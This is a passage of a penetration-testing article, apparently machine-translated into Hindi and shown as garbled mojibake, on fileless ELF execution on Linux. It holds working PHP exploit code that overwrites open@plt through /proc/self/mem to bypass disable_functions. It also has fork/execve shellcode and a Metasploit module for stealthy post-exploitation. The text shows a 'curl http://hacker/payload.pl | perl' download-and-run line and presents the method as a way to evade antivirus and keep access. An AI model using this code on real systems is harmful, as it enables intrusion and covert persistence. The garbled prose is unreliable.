$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рд╣рдо PHP рдХреЗ рд╕реНрдерд╛рдкрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВ:


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

рд╣рдо рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдереЛрдбрд╝реА рдЧрд╣рд░рд╛рдИ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддреЗ рд╣реИрдВ:


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

disable_functions рдХреЗ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдордХреНрдЦреА рдкрд░ open@plt рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ open@plt ред рд╣рдордиреЗ beched'a рдХреЛрдб рдореЗрдВ рдХреБрдЫ рдЬреЛрдбрд╝ рджрд┐рдП, рдФрд░ рдЕрдм рд╣рдо рдЕрдкрдиреЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ PHP рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреА рдмрд╛рдЗрдирд░реА рдлрд╛рдЗрд▓ рдореЗрдВ рдЦреБрдж рдХреЛ рд╢рд┐рдлреНрдЯ рдХрд░рдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИ, рдЗрд╕рдХреЗ рд▓рд┐рдП рд╣рдо /proc/self/exe рдХрд╛ parseelf() рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдКрдкрд░ рдмрддрд╛рдП рдЧрдП parseelf() рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рддреЗ рд╣реИрдВ:


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

open() рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рдвреВрдВрдвреЗрдВ:


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

рдЕрдм рдЖрдк рд╕реАрдзреЗ рд╣рдорд╛рд░реА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ рдЕрдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ:


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

рд╣рдо рдПрдХ рдЕрдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рд▓рд┐рдЦрддреЗ рд╣реИрдВ:


 fwrite($fp, $elf); 

рд╣рдо рдлрд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдирдВрдмрд░ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ:


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

рдЕрдЧрд▓рд╛, рд╣рдо рд╕реНрдЯреИрдХ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрде рд▓рд┐рдЦрддреЗ рд╣реИрдВ:


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

рдФрд░ рдЪрд▓рд╛рдиреЗ рдХреЗ рддрд░реНрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛ рдкрд╛рд░рд┐рдд рдХрд┐рдП рдЧрдП:


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

рдЕрдЧрд▓рд╛, fork() рдХреЙрд▓ рдХрд░рдХреЗ, рд╣рдо рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

shellcode


рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдЕрд░реНрде рдЖрдорддреМрд░ рдкрд░ рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдПрдХ рдХреНрд░рдо рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдЕрдиреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╣рдорд▓реЛрдВ рдФрд░ рдЕрдиреНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╢реЗрд▓рдХреЛрдб рд╣рдореЗрдВ рд░рд┐рдореЛрдЯ рд╕рд░реНрд╡рд░ (рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╢реЗрд▓) рдХрд╛ рдХрдорд╛рдВрдб рдкреНрд░реЙрдореНрдкреНрдЯ рд╡рд╛рдкрд╕ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдореЗрдВ рдЙрди рдХрдорд╛рдВрдбреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рдирдХреА рдЖрдкрдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред


рдЖрд╡рд╢реНрдпрдХ рдмрд╛рдЗрдЯ рдЕрдиреБрдХреНрд░рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдпрд╛ рддреЛ рд╕реА рдХреЛрдб рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдлрд┐рд░ рдЗрд╕реЗ рдЕрд╕реЗрдВрдмрд▓рд░ рднрд╛рд╖рд╛ рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рд╕реНрдХреНрд░реИрдЪ рд╕реЗ рдЕрд╕реЗрдВрдмрд▓реА рднрд╛рд╖рд╛ рд▓рд┐рдЦ тАЛтАЛрд╕рдХрддреЗ рд╣реИрдВред


рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдЙрдкрд░реЛрдХреНрдд рд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рд╕реЗ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдЕрдиреБрдХреНрд░рдо рдХреЗ рдкреАрдЫреЗ рдХреНрдпрд╛ рдЫрд┐рдкрд╛ рд╣реБрдЖ рд╣реИред


 push 57 pop rax syscall test eax, eax jnz quit 

рд╣рдорд╛рд░реЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреА рд╢реБрд░реВрдЖрдд рд╕реА fork рд╢реБрд░реВ рд╣реЛрддреА рд╣реИред 57 64-рдмрд┐рдЯ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХрд╛ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рди рд╣реИред рддрд╛рд▓рд┐рдХрд╛ рдпрд╣рд╛рдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ ред


рдЖрдЧреЗ, рд╣рдо рдмрдЪреНрдЪреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрднрд┐рднрд╛рд╡рдХ рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП setsid (рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ 112) рдХрд╣рддреЗ рд╣реИрдВ:


 push 112 pop rax syscall 

рдлрд┐рд░ рдПрдХ рдФрд░ fork :


 push 57 pop rax syscall test eax, eax jnz quit 

рддрдм рдкрд░рд┐рдЪрд┐рдд рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ execve() :


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

рдФрд░ рд╣рдо exit() рд╕рд╛рде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ exit() (60):


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдордиреЗ рдЪрд▓рддреЗ-рдлрд┐рд░рддреЗ рдЦреБрд▓реЗ () рдлрд╝рдВрдХреНрд╢рди рдХреЛрдб рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ред рд╣рдорд╛рд░реА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ PHP рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреЛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдлреНрд░реЗрдорд╡рд░реНрдХ


рдЙрдкрд░реЛрдХреНрдд рддрдХрдиреАрдХреЛрдВ рдХреЗ рд╕рдВрдХрд▓рди рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдордиреЗ MSF рдХреЗ рд▓рд┐рдП рдПрдХ рдореЙрдбреНрдпреВрд▓ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рд╣реИред


рдЗрд╕реЗ Metasploit рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдмрд╕ рдореЙрдбреНрдпреВрд▓ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb reload_all $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb рдкрд░ reload_all рдФрд░ рдлрд┐рд░ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрдВрд╕реЛрд▓ рдореЗрдВ reload_all рдХрдорд╛рдВрдб reload_all ред
рд╣рдорд╛рд░реЗ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, use post/linux/manage/download_exec_elf_in_memory (рдпрд╛ рдПрдХ рдЕрдиреНрдп рдкрде, рдЬрд┐рд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдореЙрдбреНрдпреВрд▓ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд░рдЦрд╛ рдЧрдпрд╛ рдерд╛) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рджрд░реНрдЬ рдХрд░реЗрдВ
рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдЖрд╡рд╢реНрдпрдХ рд╡рд┐рдХрд▓реНрдк рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреА рд╕реВрдЪреА рдХрдорд╛рдВрдб show options рд╕рд╛рде рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ


ARGS - рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП рддрд░реНрдХ


FILE - рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрдеред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдиреЗрдЯрдХреИрдЯ рд╣реИред


NAME рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдирд╛рдо рд╣реИред рдЖрдк рдЙрд╕реЗ рдХреБрдЫ рднреА рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЪреБрдкрдХреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдХреЗрд╡рд░реНрдХрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: 1 рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ, рдпрд╛ рдХреБрдЫ рд╣рд╛рд╕реНрдп рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХрд┐рдЯрдХреИрдЯ


SESSION - рдореАрдЯрд░рдкрд░реЗрдЯрд░ рд╕рддреНрд░ред рдпрд╣ рд╕рдордЭрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдСрдкрд░реЗрд╢рди рдХреЗ рдмрд╛рдж рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред


рдЕрдЧрд▓рд╛, рд╣рдо рд╣реЛрд╕реНрдЯ рдХреЛ рдирд╛рдорд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕ рдкрд░ рд╣рдорд╛рд░реЗ рд▓реЛрдб рдХреЗ рд╕рд╛рде http-рд╕рд░реНрд╡рд░ рдХреНрд░рдорд╢рдГ SRVHOST рдФрд░ SRVPORT рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрдЧрд╛ рдФрд░ рдЗрд╕рдХрд╛ рдкреЛрд░реНрдЯ рд╣реЛрдЧрд╛ред


VECTOR - рд╡рд╣ рд╡рд┐рдзрд┐ рдЬрд┐рд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдореЗрдореЛрд░реА рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдкреИрд░рд╛рдореАрдЯрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд╣реИ, рдпрджрд┐ рдпрд╣ рдЦрд╛рд▓реА рд╣реИ рддреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрд╡рдпрдВ рдЖрд╡рд╢реНрдпрдХ рджреБрднрд╛рд╖рд┐рдпреЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░реЗрдЧреАред PHP, рдкрд╛рдпрдерди рдпрд╛ рдкрд░реНрд▓ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рд╕рдорд░реНрдерд┐рдд рд╣реИрдВред


exploit рдпрд╛ run рдХрдорд╛рдВрдб exploit рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ



рдпрд╣ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ - рд╣рдо рд╡рд╛рдВрдЫрд┐рдд рд╕рддреНрд░ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣ рдпрд╛ рддреЛ рдореАрдЯрд░рдкрд░реЗрдЯрд░ рдпрд╛ рдПрдХ рдирд┐рдпрдорд┐рдд рд░рд┐рд╡рд░реНрд╕-рд╢реЗрд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЕрдЧрд▓рд╛, рд╣рдо рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдореЗрдВ рдЕрдкрдиреЗ рдпреЛрдЧрд┐рдиреА, рддрд░реНрдХреЛрдВ рдФрд░ рд╡рд╛рдВрдЫрд┐рдд рдирд╛рдо рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп рдкрде рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реИрдВред рд╢реБрд░реБрдЖрдд рдХреЗ рдмрд╛рдж, рдкреЗрд▓реЛрдб рдХреА рдореЗрдЬрдмрд╛рдиреА рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡реЗрдм рд╕рд░реНрд╡рд░ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рд╕рддреНрд░ "рд░реЙрдХрд┐рдВрдЧ рдЪреЗрдпрд░" рдХреА рдЦреЛрдЬ рдХрд░реЗрдЧрд╛, рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдХрд░реНрд▓ рдФрд░ рд╡рд┐рдЧ рд╕рдорд░реНрдерд┐рдд рд╣реИрдВред рдХрдо рд╕реЗ рдХрдо рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рдмрд╛рдж, рд╕рднреА рджреБрднрд╛рд╖рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛рдПрдЧреА рдпрджрд┐ рд╣рдордиреЗ VECTOR рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдЪрд╛рд╣рд┐рдПред рдареАрдХ рд╣реИ, рдЕрдЧрд░ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╕реЗ рдкреЗрд▓реЛрдб рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рдЗрд╕реЗ рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд╛рдВрдЫрд┐рдд рджреБрднрд╛рд╖рд┐рдпрд╛ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЕрд░реНрдерд╛рддред $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


рдПрдХ рдирд┐рд╖реНрдХрд░реНрд╖ рдХреЗ рдмрдЬрд╛рдпред


рд▓рд┐рдирдХреНрд╕ рдкрд░ рдлрд╝рд╛рдЗрд▓ рд░рд╣рд┐рдд рдИрдПрд▓рдПрдл рдлрд╛рдЗрд▓реЗрдВ рдкреИрда рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧреА рддрдХрдиреАрдХ рд╣реИред рдпрд╣ рдПрдХ рдХрд╛рдлреА рдореВрдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬреЛ рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрдХрд░рдг, рдЕрдЦрдВрдбрддрд╛ рдирд┐рдЧрд░рд╛рдиреА рдкреНрд░рдгрд╛рд▓реА рдФрд░ рдирд┐рдЧрд░рд╛рдиреА рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреА рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░ рд╕рдХрддреА рд╣реИ рдЬреЛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреА рд╕рд╛рдордЧреНрд░реА рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рддрд░рд╣, рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рддрдХ рдкрд╣реБрдВрдЪ рдмрдирд╛рдП рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рдиреНрдпреВрдирддрдо рдирд┐рд╢рд╛рди рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдордиреЗ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛, рдЬреЛ рдЕрдХреНрд╕рд░ рд▓рд┐рдирдХреНрд╕ рд╡рд┐рддрд░рдг, рдлрд░реНрдорд╡реЗрдпрд░, рд░рд╛рдЙрдЯрд░ рдФрд░ рдореЛрдмрд╛рдЗрд▓ рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреА рд╣реИрдВред рдореИрдВ рдЗрд╕ рд▓реЗрдЦ рдХреЗ рд▓реЗрдЦрдХ рдХреЛ рднреА рдзрдиреНрдпрд╡рд╛рдж рджреЗрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ, рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рд╣рдореЗрдВ рдЗрд╕ рд╕рдореАрдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд┐рдпрд╛ред

Source: https://habr.com/ru/post/hi430902/


All Articles